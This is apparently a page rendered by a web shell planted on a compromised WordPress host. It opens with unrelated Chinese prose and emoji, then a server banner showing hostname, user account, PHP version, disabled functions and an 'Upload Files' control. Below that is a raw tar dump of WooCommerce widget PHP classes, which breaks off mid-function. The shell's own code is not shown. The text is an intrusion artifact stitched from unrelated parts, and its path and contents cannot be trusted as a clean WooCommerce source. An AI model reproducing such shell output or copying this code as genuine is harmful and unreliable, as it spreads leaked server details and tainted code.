Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/t/u/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/widgets.tar
class-wc-widget-layered-nav.php000064400000035053152333335650012475 0ustar00<?php
/**
 * Layered nav widget
 *
 * @package WooCommerce\Widgets
 * @version 2.6.0
 */

use Automattic\WooCommerce\Internal\ProductAttributesLookup\Filterer;

defined( 'ABSPATH' ) || exit;

/**
 * Widget layered nav class.
 */
class WC_Widget_Layered_Nav extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_layered_nav woocommerce-widget-layered-nav';
		$this->widget_description = __( 'Display a list of attributes to filter products in your store.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_layered_nav';
		$this->widget_name        = __( 'Filter Products by Attribute', 'woocommerce' );
		parent::__construct();
	}

	/**
	 * Updates a particular instance of a widget.
	 *
	 * @see WP_Widget->update
	 *
	 * @param array $new_instance New Instance.
	 * @param array $old_instance Old Instance.
	 *
	 * @return array
	 */
	public function update( $new_instance, $old_instance ) {
		$this->init_settings();
		return parent::update( $new_instance, $old_instance );
	}

	/**
	 * Outputs the settings update form.
	 *
	 * @see WP_Widget->form
	 *
	 * @param array $instance Instance.
	 */
	public function form( $instance ) {
		$this->init_settings();
		parent::form( $instance );
	}

	/**
	 * Init settings after post types are registered.
	 */
	public function init_settings() {
		$attribute_array      = array();
		$std_attribute        = '';
		$attribute_taxonomies = wc_get_attribute_taxonomies();

		if ( ! empty( $attribute_taxonomies ) ) {
			foreach ( $attribute_taxonomies as $tax ) {
				if ( taxonomy_exists( wc_attribute_taxonomy_name( $tax->attribute_name ) ) ) {
					$attribute_array[ $tax->attribute_name ] = $tax->attribute_name;
				}
			}
			$std_attribute = current( $attribute_array );
		}

		$this->settings = array(
			'title'        => array(
				'type'  => 'text',
				'std'   => __( 'Filter by', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'attribute'    => array(
				'type'    => 'select',
				'std'     => $std_attribute,
				'label'   => __( 'Attribute', 'woocommerce' ),
				'options' => $attribute_array,
			),
			'display_type' => array(
				'type'    => 'select',
				'std'     => 'list',
				'label'   => __( 'Display type', 'woocommerce' ),
				'options' => array(
					'list'     => __( 'List', 'woocommerce' ),
					'dropdown' => __( 'Dropdown', 'woocommerce' ),
				),
			),
			'query_type'   => array(
				'type'    => 'select',
				'std'     => 'and',
				'label'   => __( 'Query type', 'woocommerce' ),
				'options' => array(
					'and' => __( 'AND', 'woocommerce' ),
					'or'  => __( 'OR', 'woocommerce' ),
				),
			),
		);
	}

	/**
	 * Get this widgets taxonomy.
	 *
	 * @param array $instance Array of instance options.
	 * @return string
	 */
	protected function get_instance_taxonomy( $instance ) {
		if ( isset( $instance['attribute'] ) ) {
			return wc_attribute_taxonomy_name( $instance['attribute'] );
		}

		$attribute_taxonomies = wc_get_attribute_taxonomies();

		if ( ! empty( $attribute_taxonomies ) ) {
			foreach ( $attribute_taxonomies as $tax ) {
				if ( taxonomy_exists( wc_attribute_taxonomy_name( $tax->attribute_name ) ) ) {
					return wc_attribute_taxonomy_name( $tax->attribute_name );
				}
			}
		}

		return '';
	}

	/**
	 * Get this widgets query type.
	 *
	 * @param array $instance Array of instance options.
	 * @return string
	 */
	protected function get_instance_query_type( $instance ) {
		return isset( $instance['query_type'] ) ? $instance['query_type'] : 'and';
	}

	/**
	 * Get this widgets display type.
	 *
	 * @param array $instance Array of instance options.
	 * @return string
	 */
	protected function get_instance_display_type( $instance ) {
		return isset( $instance['display_type'] ) ? $instance['display_type'] : 'list';
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args Arguments.
	 * @param array $instance Instance.
	 */
	public function widget( $args, $instance ) {
		if ( ! is_shop() && ! is_product_taxonomy() ) {
			return;
		}

		$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
		$taxonomy           = $this->get_instance_taxonomy( $instance );
		$query_type         = $this->get_instance_query_type( $instance );
		$display_type       = $this->get_instance_display_type( $instance );

		if ( ! taxonomy_exists( $taxonomy ) ) {
			return;
		}

		$terms = get_terms( $taxonomy, array( 'hide_empty' => '1' ) );

		if ( 0 === count( $terms ) ) {
			return;
		}

		ob_start();

		$this->widget_start( $args, $instance );

		if ( 'dropdown' === $display_type ) {
			wp_enqueue_script( 'selectWoo' );
			wp_enqueue_style( 'select2' );
			$found = $this->layered_nav_dropdown( $terms, $taxonomy, $query_type );
		} else {
			$found = $this->layered_nav_list( $terms, $taxonomy, $query_type );
		}

		$this->widget_end( $args );

		// Force found when option is selected - do not force found on taxonomy attributes.
		if ( ! is_tax() && is_array( $_chosen_attributes ) && array_key_exists( $taxonomy, $_chosen_attributes ) ) {
			$found = true;
		}

		if ( ! $found ) {
			ob_end_clean();
		} else {
			echo ob_get_clean(); // @codingStandardsIgnoreLine
		}
	}

	/**
	 * Return the currently viewed taxonomy name.
	 *
	 * @return string
	 */
	protected function get_current_taxonomy() {
		return is_tax() ? get_queried_object()->taxonomy : '';
	}

	/**
	 * Return the currently viewed term ID.
	 *
	 * @return int
	 */
	protected function get_current_term_id() {
		return absint( is_tax() ? get_queried_object()->term_id : 0 );
	}

	/**
	 * Return the currently viewed term slug.
	 *
	 * @return int
	 */
	protected function get_current_term_slug() {
		return absint( is_tax() ? get_queried_object()->slug : 0 );
	}

	/**
	 * Show dropdown layered nav.
	 *
	 * @param  array  $terms Terms.
	 * @param  string $taxonomy Taxonomy.
	 * @param  string $query_type Query Type.
	 * @return bool Will nav display?
	 */
	protected function layered_nav_dropdown( $terms, $taxonomy, $query_type ) {
		global $wp;
		$found = false;

		if ( $taxonomy !== $this->get_current_taxonomy() ) {
			$term_counts          = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
			$_chosen_attributes   = WC_Query::get_layered_nav_chosen_attributes();
			$taxonomy_filter_name = wc_attribute_taxonomy_slug( $taxonomy );
			$taxonomy_label       = wc_attribute_label( $taxonomy );

			/* translators: %s: taxonomy name */
			$any_label      = apply_filters( 'woocommerce_layered_nav_any_label', sprintf( __( 'Any %s', 'woocommerce' ), $taxonomy_label ), $taxonomy_label, $taxonomy );
			$multiple       = 'or' === $query_type;
			$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();

			if ( '' === get_option( 'permalink_structure' ) ) {
				$form_action = remove_query_arg( array( 'page', 'paged' ), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
			} else {
				$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( user_trailingslashit( $wp->request ) ) );
			}

			echo '<form method="get" action="' . esc_url( $form_action ) . '" class="woocommerce-widget-layered-nav-dropdown">';
			echo '<select class="woocommerce-widget-layered-nav-dropdown dropdown_layered_nav_' . esc_attr( $taxonomy_filter_name ) . '"' . ( $multiple ? 'multiple="multiple"' : '' ) . '>';
			echo '<option value="">' . esc_html( $any_label ) . '</option>';

			foreach ( $terms as $term ) {

				// If on a term page, skip that term in widget list.
				if ( $term->term_id === $this->get_current_term_id() ) {
					continue;
				}

				// Get count based on current view.
				$option_is_set = in_array( $term->slug, $current_values, true );
				$count         = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

				// Only show options with count > 0.
				if ( 0 < $count ) {
					$found = true;
				} elseif ( 0 === $count && ! $option_is_set ) {
					continue;
				}

				echo '<option value="' . esc_attr( urldecode( $term->slug ) ) . '" ' . selected( $option_is_set, true, false ) . '>' . esc_html( $term->name ) . '</option>';
			}

			echo '</select>';

			if ( $multiple ) {
				echo '<button class="woocommerce-widget-layered-nav-dropdown__submit" type="submit" value="' . esc_attr__( 'Apply', 'woocommerce' ) . '">' . esc_html__( 'Apply', 'woocommerce' ) . '</button>';
			}

			if ( 'or' === $query_type ) {
				echo '<input type="hidden" name="query_type_' . esc_attr( $taxonomy_filter_name ) . '" value="or" />';
			}

			echo '<input type="hidden" name="filter_' . esc_attr( $taxonomy_filter_name ) . '" value="' . esc_attr( implode( ',', $current_values ) ) . '" />';
			echo wc_query_string_form_fields( null, array( 'filter_' . $taxonomy_filter_name, 'query_type_' . $taxonomy_filter_name ), '', true ); // @codingStandardsIgnoreLine
			echo '</form>';

			wc_enqueue_js(
				"
				// Update value on change.
				jQuery( '.dropdown_layered_nav_" . esc_js( $taxonomy_filter_name ) . "' ).on( 'change', function() {
					var slug = jQuery( this ).val();
					jQuery( ':input[name=\"filter_" . esc_js( $taxonomy_filter_name ) . "\"]' ).val( slug );

					// Submit form on change if standard dropdown.
					if ( ! jQuery( this ).attr( 'multiple' ) ) {
						jQuery( this ).closest( 'form' ).trigger( 'submit' );
					}
				});

				// Use Select2 enhancement if possible
				if ( jQuery().selectWoo ) {
					var wc_layered_nav_select = function() {
						jQuery( '.dropdown_layered_nav_" . esc_js( $taxonomy_filter_name ) . "' ).selectWoo( {
							placeholder: decodeURIComponent('" . rawurlencode( (string) wp_specialchars_decode( $any_label ) ) . "'),
							minimumResultsForSearch: 5,
							width: '100%',
							allowClear: " . ( $multiple ? 'false' : 'true' ) . ",
							language: {
								noResults: function() {
									return '" . esc_js( _x( 'No matches found', 'enhanced select', 'woocommerce' ) ) . "';
								}
							}
						} );
					};
					wc_layered_nav_select();
				}
			"
			);
		}

		return $found;
	}

	/**
	 * Count products within certain terms, taking the main WP query into consideration.
	 *
	 * This query allows counts to be generated based on the viewed products, not all products.
	 *
	 * @param  array  $term_ids Term IDs.
	 * @param  string $taxonomy Taxonomy.
	 * @param  string $query_type Query Type.
	 * @return array
	 */
	protected function get_filtered_term_product_counts( $term_ids, $taxonomy, $query_type ) {
		return wc_get_container()->get( Filterer::class )->get_filtered_term_product_counts( $term_ids, $taxonomy, $query_type );
	}

	/**
	 * Wrapper for WC_Query::get_main_tax_query() to ease unit testing.
	 *
	 * @since 4.4.0
	 * @return array
	 */
	protected function get_main_tax_query() {
		return WC_Query::get_main_tax_query();
	}

	/**
	 * Wrapper for WC_Query::get_main_search_query_sql() to ease unit testing.
	 *
	 * @since 4.4.0
	 * @return string
	 */
	protected function get_main_search_query_sql() {
		return WC_Query::get_main_search_query_sql();
	}

	/**
	 * Wrapper for WC_Query::get_main_search_queryget_main_meta_query to ease unit testing.
	 *
	 * @since 4.4.0
	 * @return array
	 */
	protected function get_main_meta_query() {
		return WC_Query::get_main_meta_query();
	}

	/**
	 * Show list based layered nav.
	 *
	 * @param  array  $terms Terms.
	 * @param  string $taxonomy Taxonomy.
	 * @param  string $query_type Query Type.
	 * @return bool   Will nav display?
	 */
	protected function layered_nav_list( $terms, $taxonomy, $query_type ) {
		// List display.
		echo '<ul class="woocommerce-widget-layered-nav-list">';

		$term_counts        = $this->get_filtered_term_product_counts( wp_list_pluck( $terms, 'term_id' ), $taxonomy, $query_type );
		$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
		$found              = false;
		$base_link          = $this->get_current_page_url();

		foreach ( $terms as $term ) {
			$current_values = isset( $_chosen_attributes[ $taxonomy ]['terms'] ) ? $_chosen_attributes[ $taxonomy ]['terms'] : array();
			$option_is_set  = in_array( $term->slug, $current_values, true );
			$count          = isset( $term_counts[ $term->term_id ] ) ? $term_counts[ $term->term_id ] : 0;

			// Skip the term for the current archive.
			if ( $this->get_current_term_id() === $term->term_id ) {
				continue;
			}

			// Only show options with count > 0.
			if ( 0 < $count ) {
				$found = true;
			} elseif ( 0 === $count && ! $option_is_set ) {
				continue;
			}

			$filter_name = 'filter_' . wc_attribute_taxonomy_slug( $taxonomy );
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended
			$current_filter = isset( $_GET[ $filter_name ] ) ? explode( ',', wc_clean( wp_unslash( $_GET[ $filter_name ] ) ) ) : array();
			$current_filter = array_map( 'sanitize_title', $current_filter );

			if ( ! in_array( $term->slug, $current_filter, true ) ) {
				$current_filter[] = $term->slug;
			}

			$link = remove_query_arg( $filter_name, $base_link );

			// Add current filters to URL.
			foreach ( $current_filter as $key => $value ) {
				// Exclude query arg for current term archive term.
				if ( $value === $this->get_current_term_slug() ) {
					unset( $current_filter[ $key ] );
				}

				// Exclude self so filter can be unset on click.
				if ( $option_is_set && $value === $term->slug ) {
					unset( $current_filter[ $key ] );
				}
			}

			if ( ! empty( $current_filter ) ) {
				asort( $current_filter );
				$link = add_query_arg( $filter_name, implode( ',', $current_filter ), $link );

				// Add Query type Arg to URL.
				if ( 'or' === $query_type && ! ( 1 === count( $current_filter ) && $option_is_set ) ) {
					$link = add_query_arg( 'query_type_' . wc_attribute_taxonomy_slug( $taxonomy ), 'or', $link );
				}
				$link = str_replace( '%2C', ',', $link );
			}

			if ( $count > 0 || $option_is_set ) {
				$link      = apply_filters( 'woocommerce_layered_nav_link', $link, $term, $taxonomy );
				$term_html = '<a rel="nofollow" href="' . esc_url( $link ) . '">' . esc_html( $term->name ) . '</a>';
			} else {
				$link      = false;
				$term_html = '<span>' . esc_html( $term->name ) . '</span>';
			}

			$term_html .= ' ' . apply_filters( 'woocommerce_layered_nav_count', '<span class="count">(' . absint( $count ) . ')</span>', $count, $term );

			echo '<li class="woocommerce-widget-layered-nav-list__item wc-layered-nav-term ' . ( $option_is_set ? 'woocommerce-widget-layered-nav-list__item--chosen chosen' : '' ) . '">';
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.EscapeOutput.OutputNotEscaped
			echo apply_filters( 'woocommerce_layered_nav_term_html', $term_html, $term, $link, $count );
			echo '</li>';
		}

		echo '</ul>';

		return $found;
	}
}
class-wc-widget-recently-viewed.php000064400000005656152333335650013402 0ustar00<?php
/**
 * Recent Products Widget.
 *
 * @package WooCommerce\Widgets
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget recently viewed.
 */
class WC_Widget_Recently_Viewed extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_recently_viewed_products';
		$this->widget_description = __( "Display a list of a customer's recently viewed products.", 'woocommerce' );
		$this->widget_id          = 'woocommerce_recently_viewed_products';
		$this->widget_name        = __( 'Recently Viewed Products list', 'woocommerce' );
		$this->settings           = array(
			'title'  => array(
				'type'  => 'text',
				'std'   => __( 'Recently Viewed Products', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'number' => array(
				'type'  => 'number',
				'step'  => 1,
				'min'   => 1,
				'max'   => 15,
				'std'   => 10,
				'label' => __( 'Number of products to show', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		$viewed_products = ! empty( $_COOKIE['woocommerce_recently_viewed'] ) ? (array) explode( '|', wp_unslash( $_COOKIE['woocommerce_recently_viewed'] ) ) : array(); // @codingStandardsIgnoreLine
		$viewed_products = array_reverse( array_filter( array_map( 'absint', $viewed_products ) ) );

		if ( empty( $viewed_products ) ) {
			return;
		}

		ob_start();

		$number = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : $this->settings['number']['std'];

		$query_args = array(
			'posts_per_page' => $number,
			'no_found_rows'  => 1,
			'post_status'    => 'publish',
			'post_type'      => 'product',
			'post__in'       => $viewed_products,
			'orderby'        => 'post__in',
		);

		if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['tax_query'] = array(
				array(
					'taxonomy' => 'product_visibility',
					'field'    => 'name',
					'terms'    => 'outofstock',
					'operator' => 'NOT IN',
				),
			); // WPCS: slow query ok.
		}

		$r = new WP_Query( apply_filters( 'woocommerce_recently_viewed_products_widget_query_args', $query_args ) );

		if ( $r->have_posts() ) {

			$this->widget_start( $args, $instance );

			echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_list', '<ul class="product_list_widget">' ) );

			$template_args = array(
				'widget_id' => isset( $args['widget_id'] ) ? $args['widget_id'] : $this->widget_id,
			);

			while ( $r->have_posts() ) {
				$r->the_post();
				wc_get_template( 'content-widget-product.php', $template_args );
			}

			echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_list', '</ul>' ) );

			$this->widget_end( $args );
		}

		wp_reset_postdata();

		$content = ob_get_clean();

		echo $content; // WPCS: XSS ok.
	}
}
class-wc-widget-product-tag-cloud.php000064400000005604152333335650013622 0ustar00<?php
/**
 * Tag Cloud Widget.
 *
 * @package WooCommerce\Widgets
 * @version 3.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Widget product tag cloud
 */
class WC_Widget_Product_Tag_Cloud extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_product_tag_cloud';
		$this->widget_description = __( 'A cloud of your most used product tags.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_product_tag_cloud';
		$this->widget_name        = __( 'Product Tag Cloud', 'woocommerce' );
		$this->settings           = array(
			'title' => array(
				'type'  => 'text',
				'std'   => __( 'Product tags', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		$current_taxonomy = $this->get_current_taxonomy( $instance );

		if ( empty( $instance['title'] ) ) {
			$taxonomy          = get_taxonomy( $current_taxonomy );
			$instance['title'] = $taxonomy->labels->name;
		}

		$this->widget_start( $args, $instance );

		echo '<div class="tagcloud">';

		wp_tag_cloud(
			apply_filters(
				'woocommerce_product_tag_cloud_widget_args',
				array(
					'taxonomy'                  => $current_taxonomy,
					'topic_count_text_callback' => array( $this, 'topic_count_text' ),
				)
			)
		);

		echo '</div>';

		$this->widget_end( $args );
	}

	/**
	 * Return the taxonomy being displayed.
	 *
	 * @param  object $instance Widget instance.
	 * @return string
	 */
	public function get_current_taxonomy( $instance ) {
		return 'product_tag';
	}

	/**
	 * Returns topic count text.
	 *
	 * @since 3.4.0
	 * @param int $count Count text.
	 * @return string
	 */
	public function topic_count_text( $count ) {
		/* translators: %s: product count */
		return sprintf( _n( '%s product', '%s products', $count, 'woocommerce' ), number_format_i18n( $count ) );
	}

	// Ignore whole block to avoid warnings about PSR2.Methods.MethodDeclaration.Underscore violation.
	// @codingStandardsIgnoreStart
	/**
	 * Return the taxonomy being displayed.
	 *
	 * @deprecated 3.4.0
	 * @param  object $instance Widget instance.
	 * @return string
	 */
	public function _get_current_taxonomy( $instance ) {
		wc_deprecated_function( '_get_current_taxonomy', '3.4.0', 'WC_Widget_Product_Tag_Cloud->get_current_taxonomy' );
		return $this->get_current_taxonomy( $instance );
	}

	/**
	 * Returns topic count text.
	 *
	 * @deprecated 3.4.0
	 * @since 2.6.0
	 * @param int $count Count text.
	 * @return string
	 */
	public function _topic_count_text( $count ) {
		wc_deprecated_function( '_topic_count_text', '3.4.0', 'WC_Widget_Product_Tag_Cloud->topic_count_text' );
		return $this->topic_count_text( $count );
	}
	// @codingStandardsIgnoreEnd
}
class-wc-widget-product-search.php000064400000002014152333335650013200 0ustar00<?php
/**
 * Product Search Widget.
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget product search class.
 */
class WC_Widget_Product_Search extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_product_search';
		$this->widget_description = __( 'A search form for your store.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_product_search';
		$this->widget_name        = __( 'Product Search', 'woocommerce' );
		$this->settings           = array(
			'title' => array(
				'type'  => 'text',
				'std'   => '',
				'label' => __( 'Title', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		$this->widget_start( $args, $instance );

		get_product_search_form();

		$this->widget_end( $args );
	}
}
class-wc-widget-cart.php000064400000003443152333335650011215 0ustar00<?php
/**
 * Shopping Cart Widget.
 *
 * Displays shopping cart widget.
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget cart class.
 */
class WC_Widget_Cart extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_shopping_cart';
		$this->widget_description = __( 'Display the customer shopping cart.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_widget_cart';
		$this->widget_name        = __( 'Cart', 'woocommerce' );
		$this->settings           = array(
			'title'         => array(
				'type'  => 'text',
				'std'   => __( 'Cart', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'hide_if_empty' => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Hide if cart is empty', 'woocommerce' ),
			),
		);

		if ( is_customize_preview() ) {
			wp_enqueue_script( 'wc-cart-fragments' );
		}

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( apply_filters( 'woocommerce_widget_cart_is_hidden', is_cart() || is_checkout() ) ) {
			return;
		}

		$hide_if_empty = empty( $instance['hide_if_empty'] ) ? 0 : 1;

		if ( ! isset( $instance['title'] ) ) {
			$instance['title'] = __( 'Cart', 'woocommerce' );
		}

		$this->widget_start( $args, $instance );

		if ( $hide_if_empty ) {
			echo '<div class="hide_cart_widget_if_empty">';
		}

		// Insert cart widget placeholder - code in woocommerce.js will update this on page load.
		echo '<div class="widget_shopping_cart_content"></div>';

		if ( $hide_if_empty ) {
			echo '</div>';
		}

		$this->widget_end( $args );
	}
}
class-wc-widget-rating-filter.php000064400000010545152333335650013034 0ustar00<?php
/**
 * Rating Filter Widget and related functions.
 *
 * @package WooCommerce\Widgets
 * @version 2.6.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget rating filter class.
 */
class WC_Widget_Rating_Filter extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_rating_filter';
		$this->widget_description = __( 'Display a list of star ratings to filter products in your store.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_rating_filter';
		$this->widget_name        = __( 'Filter Products by Rating', 'woocommerce' );
		$this->settings           = array(
			'title' => array(
				'type'  => 'text',
				'std'   => __( 'Average rating', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
		);
		parent::__construct();
	}

	/**
	 * Count products after other filters have occurred by adjusting the main query.
	 *
	 * @param  int $rating Rating.
	 * @return int
	 */
	protected function get_filtered_product_count( $rating ) {
		global $wpdb;

		$tax_query  = WC_Query::get_main_tax_query();
		$meta_query = WC_Query::get_main_meta_query();

		// Unset current rating filter.
		foreach ( $tax_query as $key => $query ) {
			if ( ! empty( $query['rating_filter'] ) ) {
				unset( $tax_query[ $key ] );
				break;
			}
		}

		// Set new rating filter.
		$product_visibility_terms = wc_get_product_visibility_term_ids();
		$tax_query[]              = array(
			'taxonomy'      => 'product_visibility',
			'field'         => 'term_taxonomy_id',
			'terms'         => $product_visibility_terms[ 'rated-' . $rating ],
			'operator'      => 'IN',
			'rating_filter' => true,
		);

		$meta_query     = new WP_Meta_Query( $meta_query );
		$tax_query      = new WP_Tax_Query( $tax_query );
		$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
		$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

		$sql  = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) FROM {$wpdb->posts} ";
		$sql .= $tax_query_sql['join'] . $meta_query_sql['join'];
		$sql .= " WHERE {$wpdb->posts}.post_type = 'product' AND {$wpdb->posts}.post_status = 'publish' ";
		$sql .= $tax_query_sql['where'] . $meta_query_sql['where'];

		$search = WC_Query::get_main_search_query_sql();
		if ( $search ) {
			$sql .= ' AND ' . $search;
		}

		return absint( $wpdb->get_var( $sql ) ); // WPCS: unprepared SQL ok.
	}

	/**
	 * Widget function.
	 *
	 * @see WP_Widget
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( ! is_shop() && ! is_product_taxonomy() ) {
			return;
		}

		if ( ! WC()->query->get_main_query()->post_count ) {
			return;
		}

		ob_start();

		$found         = false;
		$rating_filter = isset( $_GET['rating_filter'] ) ? array_filter( array_map( 'absint', explode( ',', wp_unslash( $_GET['rating_filter'] ) ) ) ) : array(); // WPCS: input var ok, CSRF ok, sanitization ok.
		$base_link     = remove_query_arg( 'paged', $this->get_current_page_url() );

		$this->widget_start( $args, $instance );

		echo '<ul>';

		for ( $rating = 5; $rating >= 1; $rating-- ) {
			$count = $this->get_filtered_product_count( $rating );
			if ( empty( $count ) ) {
				continue;
			}
			$found = true;
			$link  = $base_link;

			if ( in_array( $rating, $rating_filter, true ) ) {
				$link_ratings = implode( ',', array_diff( $rating_filter, array( $rating ) ) );
			} else {
				$link_ratings = implode( ',', array_merge( $rating_filter, array( $rating ) ) );
			}

			$class       = in_array( $rating, $rating_filter, true ) ? 'wc-layered-nav-rating chosen' : 'wc-layered-nav-rating';
			$link        = apply_filters( 'woocommerce_rating_filter_link', $link_ratings ? add_query_arg( 'rating_filter', $link_ratings, $link ) : remove_query_arg( 'rating_filter' ) );
			$rating_html = wc_get_star_rating_html( $rating );
			$count_html  = wp_kses(
				apply_filters( 'woocommerce_rating_filter_count', "({$count})", $count, $rating ),
				array(
					'em'     => array(),
					'span'   => array(),
					'strong' => array(),
				)
			);

			printf( '<li class="%s"><a href="%s"><span class="star-rating">%s</span> %s</a></li>', esc_attr( $class ), esc_url( $link ), $rating_html, $count_html ); // WPCS: XSS ok.
		}

		echo '</ul>';

		$this->widget_end( $args );

		if ( ! $found ) {
			ob_end_clean();
		} else {
			echo ob_get_clean(); // WPCS: XSS ok.
		}
	}
}
class-wc-widget-products.php000064400000014175152333335650012133 0ustar00<?php
/**
 * List products. One widget to rule them all.
 *
 * @package WooCommerce\Widgets
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget products.
 */
class WC_Widget_Products extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_products';
		$this->widget_description = __( "A list of your store's products.", 'woocommerce' );
		$this->widget_id          = 'woocommerce_products';
		$this->widget_name        = __( 'Products list', 'woocommerce' );
		$this->settings           = array(
			'title'       => array(
				'type'  => 'text',
				'std'   => __( 'Products', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'number'      => array(
				'type'  => 'number',
				'step'  => 1,
				'min'   => 1,
				'max'   => '',
				'std'   => 5,
				'label' => __( 'Number of products to show', 'woocommerce' ),
			),
			'show'        => array(
				'type'    => 'select',
				'std'     => '',
				'label'   => __( 'Show', 'woocommerce' ),
				'options' => array(
					''         => __( 'All products', 'woocommerce' ),
					'featured' => __( 'Featured products', 'woocommerce' ),
					'onsale'   => __( 'On-sale products', 'woocommerce' ),
				),
			),
			'orderby'     => array(
				'type'    => 'select',
				'std'     => 'date',
				'label'   => __( 'Order by', 'woocommerce' ),
				'options' => array(
					'date'  => __( 'Date', 'woocommerce' ),
					'price' => __( 'Price', 'woocommerce' ),
					'rand'  => __( 'Random', 'woocommerce' ),
					'sales' => __( 'Sales', 'woocommerce' ),
				),
			),
			'order'       => array(
				'type'    => 'select',
				'std'     => 'desc',
				'label'   => _x( 'Order', 'Sorting order', 'woocommerce' ),
				'options' => array(
					'asc'  => __( 'ASC', 'woocommerce' ),
					'desc' => __( 'DESC', 'woocommerce' ),
				),
			),
			'hide_free'   => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Hide free products', 'woocommerce' ),
			),
			'show_hidden' => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Show hidden products', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Query the products and return them.
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 *
	 * @return WP_Query
	 */
	public function get_products( $args, $instance ) {
		$number                      = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : $this->settings['number']['std'];
		$show                        = ! empty( $instance['show'] ) ? sanitize_title( $instance['show'] ) : $this->settings['show']['std'];
		$orderby                     = ! empty( $instance['orderby'] ) ? sanitize_title( $instance['orderby'] ) : $this->settings['orderby']['std'];
		$order                       = ! empty( $instance['order'] ) ? sanitize_title( $instance['order'] ) : $this->settings['order']['std'];
		$product_visibility_term_ids = wc_get_product_visibility_term_ids();

		$query_args = array(
			'posts_per_page' => $number,
			'post_status'    => 'publish',
			'post_type'      => 'product',
			'no_found_rows'  => 1,
			'order'          => $order,
			'meta_query'     => array(),
			'tax_query'      => array(
				'relation' => 'AND',
			),
		); // WPCS: slow query ok.

		if ( empty( $instance['show_hidden'] ) ) {
